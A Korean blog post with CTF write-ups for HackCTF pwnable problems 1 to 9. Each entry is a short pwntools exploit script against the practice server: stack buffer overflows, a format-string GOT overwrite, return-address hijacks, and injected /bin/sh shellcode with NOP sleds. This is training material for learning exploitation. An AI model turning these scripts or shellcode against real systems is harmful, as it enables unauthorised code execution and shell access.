본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] 1 ~ 9번 문제

시작

안녕하세요 :D

포너블 공부하다가 좋은 사이트 찾아서!! 문제를 풀고 있어요.

처음엔 아주 기초적인 문제라 빠르게 빠르게 넘어갔습니다 ㅎㅎ

Write UP도 설명없이 적도록 할게요

시작해보죠!! (HackCTF : https://ctf.j0n9hyun.xyz/)

Write UP

1. Basic_BOF #1

from pwn import *

#p = process("./bof_basic")
p = remote("ctf.j0n9hyun.xyz", 3000)

key = 0xdeadbeef

payload = ""

payload += "A" * 40
payload += p32(key)

p.sendline(payload)

p.interactive()

키값 바꾸는 문제!! pwnable.kr에서 많이 본 친구였습니다.

2. Basic_BOF #2

from pwn import *

#p = process("./bof_basic2")
p = remote("ctf.j0n9hyun.xyz", 3001)

payload = ""
shell = 0x804849b

payload += "A" * 128
payload += p32(shell)

p.sendline(payload)

p.interactive()

RET값을 조작하는 문제였어요.

3. Basic_FSB

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3002)

printf_got = 0x804a00c
flag = 0x80485b4

payload = ""

payload += p32(printf_got)
payload += "%134514096d%n"

p.send(payload)

p.interactive()

FSB 문제입니다. snprintf()에서 취약점이 터지죠.

4. 내 버퍼가 흘러넘친다!!!

from pwn import *

#context.log_level = "debug"

#p = process("./prob1")
p = remote("ctf.j0n9hyun.xyz", 3003)

payload = ""
name = 0x804a060
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

p.recvuntil("Name : ")

payload += shellcode
p.send(payload)

exploit = ""

p.recvuntil("input : ")

exploit += "A" * 24
exploit += p32(name)

p.send(exploit)

p.interactive()

쉘을 떨어뜨려주는 함수가 없어서 쉘코드를 사용했습니다. NX가 없었어요.

5. x64 Buffer Overflow

from pwn import *

#p = process("./64bof_basic")
p = remote("ctf.j0n9hyun.xyz", 3004)

payload = ""
shell = 0x400606

payload += "A" * 280
payload += p64(shell)

p.send(payload)

p.interactive()

32bit와 다를 것 없는 64bit 문제였습니다.

6. x64 Simple_size_BOF

from pwn import *

#p = process("./Simple_size_bof")
p = remote("ctf.j0n9hyun.xyz", 3005)

payload = ""
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recvuntil("buf: 0x")
buf_addr = int(p.recv(12), 16)

log.info("buf addr = " + hex(buf_addr))

payload += "\x90" * 100
payload += shellcode
payload += "\x90" * (27960 - len(payload))
payload += p64(buf_addr)

p.send(payload)

p.interactive()

엄청난 크기의 버퍼인 것 빼곤 똑같았네요.

7. Simple_Overflow_ver_2

from pwn import *

context.log_level = "debug"

#p = process("./Simple_overflow_ver_2")
p = remote("ctf.j0n9hyun.xyz", 3006)

payload = ""
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

p.recvuntil("Data : ")

payload = "A" * 4
p.sendline(payload)

p.recvuntil("0x")
buf = int(p.recv(8), 16)

log.info("buf = " + hex(buf))

p.recvuntil("(y/n): ")
p.sendline("y")

exploit = ""

exploit += shellcode
exploit += "\x90" * (140 -len(shellcode))
exploit += p32(buf)

p.recvuntil("Data : ")
p.sendline(exploit)

p.recvuntil("(y/n): ")
p.sendline("n")

p.interactive()

recv(), send()를 적절히 이용해서 쉘코드를 던져줍시다.

8. Offset

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3007)

payload = ""
#flag_1byte = 0xd8

p.recvuntil("call?\n")

payload += "A" * 30
payload += "\xd8"

p.sendline(payload)

p.interactive()

gdb로 메모리 분석하면 쉽게 풀리는 문제!

9. BOF_PIE

from pwn import *

#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz", 3008)

payload = ""

p.recvuntil("0x")
welcome = int(p.recv(8), 16)

log.info("welcome_func's addr = " + hex(welcome))

flag = welcome - 0x79

payload += "A" * 22
payload += p32(flag)

p.send(payload)

p.interactive()

1 byte overflow를 이용하면 쉽게 풀립니다.

마무리

10번 문제 Yes_or_No까지 풀었는데 싸지방 시간이.. 3분..

허겁지겁 마무리하게 됐네요 ㅠㅠ

10번부턴 조금 어렵더라구요 ㅎㅎ 내일 천천히 써보겠습니다. 감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] Random Key  (0) 2019.09.22
[HackCTF] 1996  (0) 2019.09.22
[HackCTF] Poet  (0) 2019.09.22
[HackCTF] RTL_World  (0) 2019.09.19
[HackCTF] Yes or no  (0) 2019.09.19